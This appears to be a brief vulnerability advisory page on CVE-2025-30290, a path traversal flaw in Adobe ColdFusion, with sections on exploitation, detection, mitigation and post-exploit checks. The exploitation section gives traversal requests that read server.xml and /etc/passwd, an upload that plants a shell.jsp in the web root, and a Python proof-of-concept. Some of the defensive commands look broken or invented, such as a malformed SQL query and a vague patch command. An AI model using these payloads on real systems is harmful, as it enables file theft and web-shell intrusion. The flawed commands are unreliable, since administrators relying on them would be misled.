How the CVE Works
CVE-2025-30290 is a path traversal vulnerability in Adobe ColdFusion (versions 2023.12, 2021.18, 2025.0, and earlier). Attackers exploit improper input sanitization to bypass directory restrictions via crafted requests (e.g., `../../` sequences). Successful exploitation allows unauthorized file access outside the web root, potentially exposing sensitive data (config files, credentials). User interaction (e.g., uploading malicious files) is required, but social engineering can facilitate this. The flaw stems from insufficient validation in file-handling functions, permitting traversal characters in user-supplied paths.
DailyCVE Form
Platform: Adobe ColdFusion
Version: 2023.12/2021.18/2025.0
Vulnerability: Path Traversal
Severity: Critical
Date: 05/05/2025
What Undercode Say:
Exploitation:
1. Craft Malicious Request:
GET /file.cfm?path=../../../conf/server.xml HTTP/1.1
2. Upload Malicious File:
POST /upload.cfm HTTP/1.1 [file=malicious.txt;filename="../../webapps/ROOT/shell.jsp"]
Detection:
- Log Analysis:
grep -r "../" /opt/coldfusion/logs
- Patch Check:
rpm -qa | grep coldfusion | grep -E "2023.12|2021.18|2025.0"
Mitigation:
1. Apply Patch:
sudo cfpm update coldfusion-security-patch
2. Input Sanitization:
String safePath = Paths.get(userInput).normalize().toString();
3. Web Server Rules (Apache):
<LocationMatch "\.\./"> Deny from all </LocationMatch>
Exploit Code (PoC):
import requests url = "http://target/file.cfm?path=../../../../etc/passwd" response = requests.get(url) print(response.text)
Post-Exploit Analysis:
- Check Exposed Files:
find /opt/coldfusion -perm -o=r -ls | grep -E ".xml|.properties"
- Audit User Uploads:
SELECT FROM file_uploads WHERE filename LIKE '%..%';
